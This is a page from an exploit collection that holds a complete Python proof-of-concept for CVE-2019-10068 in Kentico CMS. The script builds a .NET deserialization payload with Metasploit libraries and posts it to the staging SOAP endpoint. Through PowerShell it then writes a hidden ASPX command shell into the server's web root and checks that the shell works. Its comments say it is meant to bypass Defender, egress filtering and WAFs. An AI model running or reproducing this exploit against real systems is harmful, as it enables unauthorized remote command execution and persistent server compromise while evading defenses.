5585 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2019-10068-poc.py PY
#!/usr/bin/env python3
"""
CVE-2019-10068 Kentico CMS Pre-Auth RCE — ASPX Web Shell Dropper
Bypasses Defender/egress filtering by writing ASPX to web root (no binary on disk).
"""
import subprocess, sys, ssl, urllib.request, urllib.parse, base64
import tempfile, os, time, textwrap

TARGET    = 'ADD YOUR TARGET URL HERE'
ENDPOINT  = '/CMSPages/Staging/SyncServer.asmx'
NAMESPACE = 'http://localhost/SyncWebService/SyncServer'

# Possible App Service web root candidates (tried in order)
WEB_ROOTS = [
    r'C:\home\site\wwwroot',
    r'D:\home\site\wwwroot',
    r'C:\inetpub\wwwroot',
    r'C:\inetpub\wwwroot\CMS',
    r'C:\Program Files\Kentico',
]
SHELL_NAME = 'x.aspx'

# Minimal ASPX shell — runs cmd, returns output, no <script> tags (avoid WAF)
ASPX_SHELL = (
    '<%@ Page Language="C#" %>'
    '<%'
    'var si=new System.Diagnostics.ProcessStartInfo('
    '"cmd","/c "+Request["c"])'
    '{UseShellExecute=false,RedirectStandardOutput=true,RedirectStandardError=true};'
    'var p=System.Diagnostics.Process.Start(si);'
    'Response.Write(p.StandardOutput.ReadToEnd()+p.StandardError.ReadToEnd());'
    '%>'
)

# Ruby helper — reads command from file, generates SoapFormatter payload to stdout
RUBY_HELPER = textwrap.dedent(r"""
    ENV['BUNDLE_GEMFILE'] = '/usr/share/metasploit-framework/Gemfile'
    require 'bundler/setup'
    $LOAD_PATH.unshift '/usr/share/metasploit-framework/lib'
    require 'rex/text'
    require 'nokogiri'
    require 'msf/util/dot_net_deserialization'
    require 'msf/util/dot_net_deserialization/enums'
    require 'msf/util/dot_net_deserialization/assemblies'
    require 'msf/util/dot_net_deserialization/types'
    require 'msf/util/dot_net_deserialization/types/primitives'
    require 'msf/util/dot_net_deserialization/types/general'
    require 'msf/util/dot_net_deserialization/types/common_structures'
    require 'msf/util/dot_net_deserialization/types/record_values'
    require 'msf/util/dot_net_deserialization/formatters'
    require 'msf/util/dot_net_deserialization/formatters/binary_formatter'
    require 'msf/util/dot_net_deserialization/formatters/soap_formatter'
    require 'msf/util/dot_net_deserialization/gadget_chains'
    require 'msf/util/dot_net_deserialization/gadget_chains/type_confuse_delegate'
    require 'msf/util/dot_net_deserialization/gadget_chains/claims_principal'
    require 'msf/util/dot_net_deserialization/gadget_chains/text_formatting_run_properties'
    require 'msf/util/dot_net_deserialization/gadget_chains/object_data_provider'
    require 'msf/util/dot_net_deserialization/gadget_chains/data_set'
    require 'msf/util/dot_net_deserialization/gadget_chains/data_set_type_spoof'
    require 'msf/util/dot_net_deserialization/gadget_chains/windows_identity'
    cmd = File.read(ARGV[0]).strip
    payload = Msf::Util::DotNetDeserialization.generate(
      cmd,
      gadget_chain: :WindowsIdentity,
      formatter:    :SoapFormatter
    )
    $stdout.binmode
    $stdout.write(payload)
""").strip()


def gen_payload(cmd: str) -> bytes:
    """Generate SoapFormatter WindowsIdentity gadget via MSF bundled Ruby."""
    with tempfile.NamedTemporaryFile(mode='w', suffix='.rb', delete=False) as rf:
        rf.write(RUBY_HELPER)
        rb_path = rf.name
    with tempfile.NamedTemporaryFile(mode='w', suffix='.txt', delete=False) as cf:
        cf.write(cmd)
        cmd_path = cf.name
    try:
        return subprocess.check_output(
            ['bundle', 'exec', 'ruby', rb_path, cmd_path],
            cwd='/usr/share/metasploit-framework',
            stderr=subprocess.PIPE
        )
    finally:
        os.unlink(rb_path)
        os.unlink(cmd_path)


def xml_escape(s: str) -> str:
    return s.replace('&', '&amp;').replace('<', '&lt;').replace('>', '&gt;').replace('"', '&quot;')


def send_soap(payload_bytes: bytes):
    escaped = xml_escape(payload_bytes.decode('utf-8'))
    body = (
        '<?xml version="1.0" encoding="utf-8"?>'
        '<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
        'xmlns:xsd="http://www.w3.org/2001/XMLSchema" '
        'xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">'
        '<soap:Body>'
        f'<ProcessSynchronizationTaskData xmlns="{NAMESPACE}">'
        f'<stagingTaskData>{escaped}</stagingTaskData>'
        '</ProcessSynchronizationTaskData>'
        '</soap:Body>'
        '</soap:Envelope>'
    )
    req = urllib.request.Request(
        TARGET + ENDPOINT,
        data=body.encode('utf-8'),
        method='POST',
        headers={
            'Content-Type': 'text/xml; charset=utf-8',
            'SOAPAction': f'"{NAMESPACE}/ProcessSynchronizationTaskData"',
        }
    )
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    try:
        with urllib.request.urlopen(req, context=ctx, timeout=30) as r:
            return r.status, r.read().decode('utf-8', errors='replace')
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode('utf-8', errors='replace')
    except Exception as e:
        return None, str(e)


def check_shell(url: str) -> str | None:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    try:
        r = urllib.request.urlopen(url + '?c=whoami', context=ctx, timeout=10)
        return r.read().decode('utf-8', errors='replace').strip()
    except Exception:
        return None


def drop_shell(web_root: str) -> bool:
    shell_path = web_root + '\\' + SHELL_NAME
    shell_url  = TARGET + '/' + SHELL_NAME

    # Base64-encode ASPX content to avoid quoting/escaping issues in PS
    aspx_b64 = base64.b64encode(ASPX_SHELL.encode('utf-8')).decode()
    ps_cmd = (
        f"[IO.File]::WriteAllText('{shell_path}',"
        f"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('{aspx_b64}')))"
    )
    cmd = f'powershell -w h -nop -c "{ps_cmd}"'

    print(f'[*] Target path : {shell_path}')
    print(f'[*] Payload cmd : {cmd[:120]}...')
    print(f'[*] Generating SoapFormatter payload via MSF library...')
    try:
        payload = gen_payload(cmd)
    except subprocess.CalledProcessError as e:
        print(f'[-] Ruby payload generation failed: {e.stderr.decode()}')
        return False
    print(f'[*] Payload size: {len(payload)} bytes')

    print(f'[*] Sending exploit...')
    status, body = send_soap(payload)
    print(f'[*] HTTP {status}')

    if status is None:
        print(f'[-] No response: {body}')
        return False

    fired = any(x in body for x in [
        'InvalidCastException', 'TargetInvocationException', 'OnDeserialization'
    ])
    denied = 'Win32Exception' in body or 'Access is denied' in body

    if fired:
        print('[+] Deserialization chain fired!')
    elif denied:
        print('[-] Gadget fired but Process.Start was denied (check IIS account perms)')
        return False
    else:
        print(f'[-] Unexpected response: {body[:300]}')
        return False

    print(f'[*] Waiting 3s for file write to complete...')
    time.sleep(3)

    print(f'[*] Checking {shell_url}?c=whoami')
    result = check_shell(shell_url)
    if result:
        print(f'\n[+] ============================')
        print(f'[+] SHELL ACTIVE: {shell_url}')
        print(f'[+] whoami output: {result}')
        print(f'[+] ============================\n')
        print(f'[*] Usage: {shell_url}?c=<command>')
        return True
    else:
        print(f'[-] Shell not accessible at {shell_url} (wrong web root path?)')
        return False


if __name__ == '__main__':
    print(f'[*] CVE-2019-10068 ASPX Shell Dropper')
    print(f'[*] Target: {TARGET}')

    for root in WEB_ROOTS:
        print(f'\n[*] Trying web root: {root}')
        if drop_shell(root):
            sys.exit(0)

    print('\n[-] All web root paths failed.')
    print('[*] Try: check IIS logs for the app path, or enumerate via the shell once a valid path is found.')
    sys.exit(1)